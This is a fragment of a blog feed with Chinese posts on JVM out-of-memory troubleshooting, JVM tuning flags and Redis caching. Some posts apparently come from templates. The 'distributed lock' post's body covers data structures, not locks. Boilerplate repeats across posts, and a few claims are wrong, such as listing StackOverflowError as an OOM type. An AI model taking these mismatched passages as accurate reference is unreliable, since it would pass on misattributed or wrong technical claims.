title="原因"></a>原因</h3><ul><li>线程池配置过大</li><li>线程未正确回收</li><li>系统限制（ulimit -u）</li></ul><h3 id="排查-1"><a href="#排查-1" class="headerlink" title="排查"></a>排查</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看线程数</span></span><br><span class="line">jstack &lt;pid&gt; | grep <span class="string">&quot;java.lang.Thread.State&quot;</span> | <span class="built_in">wc</span> -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看系统限制</span></span><br><span class="line"><span class="built_in">ulimit</span> -u</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看进程线程数</span></span><br><span class="line"><span class="built_in">cat</span> /proc/&lt;pid&gt;/status | grep Threads</span><br></pre></td></tr></table></figure><h3 id="解决-1"><a href="#解决-1" class="headerlink" title="解决"></a>解决</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 限制线程池大小</span></span><br><span class="line">ExecutorService executor = new ThreadPoolExecutor(</span><br><span class="line">    10, 100, 60, TimeUnit.SECONDS,</span><br><span class="line">    new LinkedBlockingQueue&lt;&gt;(1000)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment"># 增大系统限制</span></span><br><span class="line"><span class="built_in">ulimit</span> -u 65535</span><br></pre></td></tr></table></figure><h2 id="直接内存溢出"><a href="#直接内存溢出" class="headerlink" title="直接内存溢出"></a>直接内存溢出</h2><h3 id="现象-2"><a href="#现象-2" class="headerlink" title="现象"></a>现象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.OutOfMemoryError: Direct buffer memory</span><br></pre></td></tr></table></figure><h3 id="原因-2"><a href="#原因-2" class="headerlink" title="原因"></a>原因</h3><ul><li>ByteBuffer.allocateDirect() 未释放</li><li>Netty 的池化内存未回收</li></ul><h3 id="排查-2"><a href="#排查-2" class="headerlink" title="排查"></a>排查</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看直接内存使用</span></span><br><span class="line">jcmd &lt;pid&gt; VM.native_memory summary</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启 Native Memory Tracking</span></span><br><span class="line">-XX:NativeMemoryTracking=summary</span><br></pre></td></tr></table></figure><h3 id="解决-2"><a href="#解决-2" class="headerlink" title="解决"></a>解决</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 正确释放直接内存</span></span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.allocateDirect(<span class="number">1024</span>);</span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line">((DirectBuffer) buffer).cleaner().clean();  <span class="comment">// 主动释放</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Netty 中使用引用计数</span></span><br><span class="line">ReferenceCountUtil.release(buf);</span><br></pre></td></tr></table></figure><h2 id="内存泄漏排查实战"><a href="#内存泄漏排查实战" class="headerlink" title="内存泄漏排查实战"></a>内存泄漏排查实战</h2><h3 id="案例：Tomcat-热部署导致-PermGen-Metaspace-泄漏"><a href="#案例：Tomcat-热部署导致-PermGen-Metaspace-泄漏" class="headerlink" title="案例：Tomcat 热部署导致 PermGen/Metaspace 泄漏"></a>案例：Tomcat 热部署导致 PermGen/Metaspace 泄漏</h3><p><strong>现象</strong>：每次热部署后内存增长，不释放。</p><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 查看类加载器</span></span><br><span class="line">jmap -clstats &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 对比两次热部署后的类数量</span></span><br><span class="line">jmap -histo &lt;pid&gt; | grep <span class="string">&quot;class &quot;</span></span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>ThreadLocal 未清理</li><li>单例持有旧类加载器引用</li><li>驱动注册未注销</li></ul><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. 清理 ThreadLocal</span></span><br><span class="line">ThreadLocalCleaner.clean();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 注销 JDBC 驱动</span></span><br><span class="line">Enumeration&lt;Driver&gt; drivers = DriverManager.getDrivers();</span><br><span class="line"><span class="keyword">while</span> (drivers.hasMoreElements()) &#123;</span><br><span class="line">    <span class="type">Driver</span> <span class="variable">driver</span> <span class="operator">=</span> drivers.nextElement();</span><br><span class="line">    DriverManager.deregisterDriver(driver);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 清理 Introspector</span></span><br><span class="line">Introspector.flushCaches();</span><br></pre></td></tr></table></figure><h2 id="排查流程图"><a href="#排查流程图" class="headerlink" title="排查流程图"></a>排查流程图</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">发生OOM</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">查看错误信息（确定类型）</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">获取堆/线程 dump</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">分析 dump（MAT/jstack）</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">定位可疑对象/线程</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">分析代码引用链</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">确定根因（泄漏/配置/大对象）</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">修复并验证</span><br></pre></td></tr></table></figure><h2 id="预防措施"><a href="#预防措施" class="headerlink" title="预防措施"></a>预防措施</h2><ol><li><strong>配置自动 dump</strong></li></ol><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+HeapDumpOnOutOfMemoryError</span><br><span class="line">-XX:HeapDumpPath=/var/log/app/</span><br></pre></td></tr></table></figure><ol start="2"><li><strong>监控告警</strong></li></ol><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 内存使用率 &gt; 80% 告警</span></span><br><span class="line"><span class="comment"># GC 停顿 &gt; 1s 告警</span></span><br><span class="line"><span class="comment"># 线程数 &gt; 1000 告警</span></span><br></pre></td></tr></table></figure><ol start="3"><li><strong>代码规范</strong></li></ol><ul><li>及时关闭资源（try-with-resources）</li><li>避免静态集合无限增长</li><li>使用弱引用缓存</li><li>ThreadLocal 用完 remove()</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>OOM 类型</th><th>排查重点</th><th>常用工具</th></tr></thead><tbody><tr><td>Heap</td><td>大对象、内存泄漏</td><td>jmap, MAT</td></tr><tr><td>Metaspace</td><td>类加载器、动态代理</td><td>jstat -class</td></tr><tr><td>Thread</td><td>线程池、线程泄漏</td><td>jstack</td></tr><tr><td>Direct Memory</td><td>NIO, Netty</td><td>NativeMemoryTracking</td></tr></tbody></table><p>内存问题排查的核心思路：<strong>获取现场 -&gt; 分析对象 -&gt; 追踪引用 -&gt; 定位代码</strong>。养成开启自动 heap dump 的习惯，是快速定位 OOM 的关键。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-分布式锁的正确姿势"><a href="#Redis-分布式锁的正确姿势" class="headerlink" title="Redis 分布式锁的正确姿势"></a>Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存穿透击穿雪崩怎么处理"><a href="#缓存穿透击穿雪崩怎么处理" class="headerlink" title="缓存穿透击穿雪崩怎么处理"></a>缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM调优实战与参数配置</title>
      <link href="//jvm-diao-you-shi-zhan-yu-can-shu-pei-zhi/"/>
      <url>//jvm-diao-you-shi-zhan-yu-can-shu-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM调优实战与参数配置"><a href="#JVM调优实战与参数配置" class="headerlink" title="JVM调优实战与参数配置"></a>JVM调优实战与参数配置</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="调优前准备"><a href="#调优前准备" class="headerlink" title="调优前准备"></a>调优前准备</h2><p>#</p><h2 id="1-明确目标"><a href="#1-明确目标" class="headerlink" title="1. 明确目标"></a>1. 明确目标</h2><table><thead><tr><th>目标</th><th>关注点</th></tr></thead><tbody><tr><td>低延迟</td><td>GC 停顿时间</td></tr><tr><td>高吞吐</td><td>单位时间处理量</td></tr><tr><td>低内存</td><td>内存占用</td></tr><tr><td>高并发</td><td>线程数、连接数</td></tr></tbody></table><p>#</p><h2 id="2-收集基线数据"><a href="#2-收集基线数据" class="headerlink" title="2. 收集基线数据"></a>2. 收集基线数据</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 压测工具</span></span><br><span class="line">wrk -t12 -c400 -d30s http://localhost:8080/api</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控指标</span></span><br><span class="line">- 吞吐量 (TPS/QPS)</span><br><span class="line">- 平均/最大响应时间</span><br><span class="line">- GC 频率和停顿时间</span><br><span class="line">- CPU/内存使用率</span><br></pre></td></tr></table></figure><h2 id="内存配置"><a href="#内存配置" class="headerlink" title="内存配置"></a>内存配置</h2><p>#</p><h2 id="堆内存设置"><a href="#堆内存设置" class="headerlink" title="堆内存设置"></a>堆内存设置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 基础配置</span></span><br><span class="line">-Xms4g -Xmx4g        <span class="comment"># 初始和最大堆内存相同，避免动态调整开销</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 年轻代</span></span><br><span class="line">-Xmn1g               <span class="comment"># 年轻代大小</span></span><br><span class="line"><span class="comment"># 或</span></span><br><span class="line">-XX:NewRatio=2       <span class="comment"># 老年代:年轻代 = 2:1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Survivor区</span></span><br><span class="line">-XX:SurvivorRatio=8  <span class="comment"># Eden:S0:S1 = 8:1:1</span></span><br></pre></td></tr></table></figure><p><strong>原则</strong>：</p><ul><li><code>-Xms</code> = <code>-Xmx</code>，避免运行时扩容</li><li>年轻代占堆的 1/4 到 1/3</li><li>Survivor 区能容纳一次 Young GC 后的存活对象</li></ul><p>#</p><h2 id="元空间设置"><a href="#元空间设置" class="headerlink" title="元空间设置"></a>元空间设置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MetaspaceSize=128m</span><br><span class="line">-XX:MaxMetaspaceSize=256m</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：MaxMetaspaceSize 默认无限制，建议设置上限防止类加载泄漏导致内存耗尽。</p><p>#</p><h2 id="直接内存"><a href="#直接内存" class="headerlink" title="直接内存"></a>直接内存</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MaxDirectMemorySize=512m</span><br></pre></td></tr></table></figure><p><strong>适用</strong>：Netty、NIO 等使用堆外内存的场景。</p><p>#</p><h2 id="栈内存"><a href="#栈内存" class="headerlink" title="栈内存"></a>栈内存</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-Xss512k    <span class="comment"># 每个线程的栈大小</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：线程数多时应减小，避免总内存占用过高。</p><h2 id="GC-选择与配置"><a href="#GC-选择与配置" class="headerlink" title="GC 选择与配置"></a>GC 选择与配置</h2><p>#</p><h2 id="场景1：Web-应用（低延迟）"><a href="#场景1：Web-应用（低延迟）" class="headerlink" title="场景1：Web 应用（低延迟）"></a>场景1：Web 应用（低延迟）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># JDK 8</span></span><br><span class="line">-XX:+UseG1GC</span><br><span class="line">-XX:MaxGCPauseMillis=200</span><br><span class="line"></span><br><span class="line"><span class="comment"># JDK 11+</span></span><br><span class="line">-XX:+UseG1GC</span><br><span class="line">-XX:MaxGCPauseMillis=100</span><br><span class="line">-XX:+UseStringDeduplication  <span class="comment"># 字符串去重</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景2：批处理（高吞吐）"><a href="#场景2：批处理（高吞吐）" class="headerlink" title="场景2：批处理（高吞吐）"></a>场景2：批处理（高吞吐）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseParallelGC</span><br><span class="line">-XX:GCTimeRatio=19          <span class="comment"># GC时间占比 5%</span></span><br><span class="line">-XX:+UseAdaptiveSizePolicy</span><br></pre></td></tr></table></figure><p>#</p><h2 id="场景3：大内存低延迟"><a href="#场景3：大内存低延迟" class="headerlink" title="场景3：大内存低延迟"></a>场景3：大内存低延迟</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># JDK 17+</span></span><br><span class="line">-XX:+UseZGC</span><br><span class="line">-XX:MaxGCPauseMillis=10</span><br><span class="line">-Xms64g -Xmx64g</span><br></pre></td></tr></table></figure><h2 id="GC-日志配置"><a href="#GC-日志配置" class="headerlink" title="GC 日志配置"></a>GC 日志配置</h2><p>#</p><h2 id="JDK-8"><a href="#JDK-8" class="headerlink" title="JDK 8"></a>JDK 8</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+PrintGCDetails</span><br><span class="line">-XX:+PrintGCDateStamps</span><br><span class="line">-XX:+PrintGCTimeStamps</span><br><span class="line">-XX:+PrintGCCause</span><br><span class="line">-Xloggc:/var/log/app/gc.log</span><br><span class="line">-XX:+UseGCLogFileRotation</span><br><span class="line">-XX:NumberOfGCLogFiles=10</span><br><span class="line">-XX:GCLogFileSize=10M</span><br></pre></td></tr></table></figure><p>#</p><h2 id="JDK-9"><a href="#JDK-9" class="headerlink" title="JDK 9+"></a>JDK 9+</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-Xlog:gc*:file=/var/log/app/gc.log:<span class="keyword">time</span>,<span class="built_in">uptime</span>,level,tags:filecount=10,filesize=10m</span><br></pre></td></tr></table></figure><h2 id="OOM-时自动-dump"><a href="#OOM-时自动-dump" class="headerlink" title="OOM 时自动 dump"></a>OOM 时自动 dump</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+HeapDumpOnOutOfMemoryError</span><br><span class="line">-XX:HeapDumpPath=/var/log/app/heapdump.hprof</span><br><span class="line">-XX:OnOutOfMemoryError=<span class="string">&quot;sh /app/alert.sh&quot;</span></span><br></pre></td></tr></table></figure><h2 id="生产环境配置模板"><a href="#生产环境配置模板" class="headerlink" title="生产环境配置模板"></a>生产环境配置模板</h2><p>#</p><h2 id="通用-Web-应用（JDK-11-）"><a href="#通用-Web-应用（JDK-11-）" class="headerlink" title="通用 Web 应用（JDK 11+）"></a>通用 Web 应用（JDK 11+）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">JAVA_OPTS=<span class="string">&quot;</span></span><br><span class="line"><span class="string">  -server</span></span><br><span class="line"><span class="string">  -Xms4g -Xmx4g</span></span><br><span class="line"><span class="string">  -Xmn1536m</span></span><br><span class="line"><span class="string">  -XX:MetaspaceSize=256m</span></span><br><span class="line"><span class="string">  -XX:MaxMetaspaceSize=512m</span></span><br><span class="line"><span class="string">  -XX:+UseG1GC</span></span><br><span class="line"><span class="string">  -XX:MaxGCPauseMillis=200</span></span><br><span class="line"><span class="string">  -XX:+ParallelRefProcEnabled</span></span><br><span class="line"><span class="string">  -XX:+AlwaysPreTouch</span></span><br><span class="line"><span class="string">  -XX:+DisableExplicitGC</span></span><br><span class="line"><span class="string">  -XX:+HeapDumpOnOutOfMemoryError</span></span><br><span class="line"><span class="string">  -XX:HeapDumpPath=/var/log/app/</span></span><br><span class="line"><span class="string">  -Xlog:gc*:file=/var/log/app/gc.log:time,uptime,level,tags:filecount=10,filesize=10m</span></span><br><span class="line"><span class="string">  -XX:ErrorFile=/var/log/app/hs_err_pid%p.log</span></span><br><span class="line"><span class="string">&quot;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="高并发-API-服务（JDK-17-）"><a href="#高并发-API-服务（JDK-17-）" class="headerlink" title="高并发 API 服务（JDK 17+）"></a>高并发 API 服务（JDK 17+）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">JAVA_OPTS=<span class="string">&quot;</span></span><br><span class="line"><span class="string">  -server</span></span><br><span class="line"><span class="string">  -Xms8g -Xmx8g</span></span><br><span class="line"><span class="string">  -XX:+UseZGC</span></span><br><span class="line"><span class="string">  -XX:MaxGCPauseMillis=5</span></span><br><span class="line"><span class="string">  -XX:+ZGenerational</span></span><br><span class="line"><span class="string">  -XX:+AlwaysPreTouch</span></span><br><span class="line"><span class="string">  -XX:+DisableExplicitGC</span></span><br><span class="line"><span class="string">  -XX:+HeapDumpOnOutOfMemoryError</span></span><br><span class="line"><span class="string">  -XX:HeapDumpPath=/var/log/app/</span></span><br><span class="line"><span class="string">&quot;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="微服务容器化"><a href="#微服务容器化" class="headerlink" title="微服务容器化"></a>微服务容器化</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">JAVA_OPTS=<span class="string">&quot;</span></span><br><span class="line"><span class="string">  -server</span></span><br><span class="line"><span class="string">  -XX:+UseContainerSupport</span></span><br><span class="line"><span class="string">  -XX:InitialRAMPercentage=70.0</span></span><br><span class="line"><span class="string">  -XX:MaxRAMPercentage=70.0</span></span><br><span class="line"><span class="string">  -XX:+UseG1GC</span></span><br><span class="line"><span class="string">  -XX:MaxGCPauseMillis=200</span></span><br><span class="line"><span class="string">  -XX:+UseStringDeduplication</span></span><br><span class="line"><span class="string">&quot;</span></span><br></pre></td></tr></table></figure><h2 id="典型调优案例"><a href="#典型调优案例" class="headerlink" title="典型调优案例"></a>典型调优案例</h2><p>#</p><h2 id="案例1：频繁-Full-GC"><a href="#案例1：频繁-Full-GC" class="headerlink" title="案例1：频繁 Full GC"></a>案例1：频繁 Full GC</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[Full GC (Allocation Failure)  4096M-&gt;3890M(4096M), 3.5s]</span><br><span class="line">频繁发生，每次停顿 3~5 秒</span><br></pre></td></tr></table></figure><p><strong>分析</strong>：</p><ul><li>堆内存设置过小</li><li>老年代增长过快（年轻代太小或晋升阈值太低）</li><li>内存泄漏</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 增大堆内存</span></span><br><span class="line">-Xms8g -Xmx8g</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 增大年轻代</span></span><br><span class="line">-Xmn3g</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 提高晋升阈值</span></span><br><span class="line">-XX:MaxTenuringThreshold=15</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 检查内存泄漏（MAT分析heap dump）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例2：Young-GC-频繁"><a href="#案例2：Young-GC-频繁" class="headerlink" title="案例2：Young GC 频繁"></a>案例2：Young GC 频繁</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[GC pause (G1 Evacuation Pause) (young) 200M-&gt;50M(4096M), 0.05s]</span><br><span class="line">每秒发生 5~10 次</span><br></pre></td></tr></table></figure><p><strong>分析</strong>：</p><ul><li>年轻代太小</li><li>对象生命周期太短</li><li>创建对象速度过快</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 增大年轻代</span></span><br><span class="line">-Xmn2g</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或调整 Eden 比例</span></span><br><span class="line">-XX:SurvivorRatio=6</span><br><span class="line"></span><br><span class="line"><span class="comment"># 代码优化：使用对象池、避免大对象</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例3：GC-停顿过长"><a href="#案例3：GC-停顿过长" class="headerlink" title="案例3：GC 停顿过长"></a>案例3：GC 停顿过长</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[GC pause (G1 Evacuation Pause) (mixed) 6000M-&gt;3000M(8000M), 1.2s]</span><br></pre></td></tr></table></figure><p><strong>分析</strong>：</p><ul><li>堆太大，G1 回收的 Region 过多</li><li>大对象过多</li><li>存活对象多，复制时间长</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 降低停顿目标</span></span><br><span class="line">-XX:MaxGCPauseMillis=100</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 使用 ZGC（JDK 17+）</span></span><br><span class="line">-XX:+UseZGC</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 优化大对象</span></span><br><span class="line">-XX:G1HeapRegionSize=16m  <span class="comment"># 增大Region</span></span><br></pre></td></tr></table></figure><h2 id="调优检查清单"><a href="#调优检查清单" class="headerlink" title="调优检查清单"></a>调优检查清单</h2><ul><li><input disabled="" type="checkbox"> 明确调优目标（延迟 vs 吞吐）</li><li><input disabled="" type="checkbox"> 压测获取基线数据</li><li><input disabled="" type="checkbox"> 分析 GC 日志</li><li><input disabled="" type="checkbox"> 检查是否有内存泄漏</li><li><input disabled="" type="checkbox"> 验证调优效果</li><li><input disabled="" type="checkbox"> 监控生产环境</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>配置项</th><th>建议</th></tr></thead><tbody><tr><td>堆内存</td><td>Xms = Xmx，容器环境用百分比</td></tr><tr><td>年轻代</td><td>堆的 1/4 ~ 1/3</td></tr><tr><td>GC</td><td>JDK 9+ 用 G1，大堆低延迟用 ZGC</td></tr><tr><td>日志</td><td>开启详细 GC 日志，便于排查</td></tr><tr><td>OOM</td><td>自动 dump heap</td></tr></tbody></table><p>JVM 调优是一个持续的过程：监控 -&gt; 分析 -&gt; 调整 -&gt; 验证。不要过度调优，合理的配置 + 健康的代码才是性能的根本保障。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
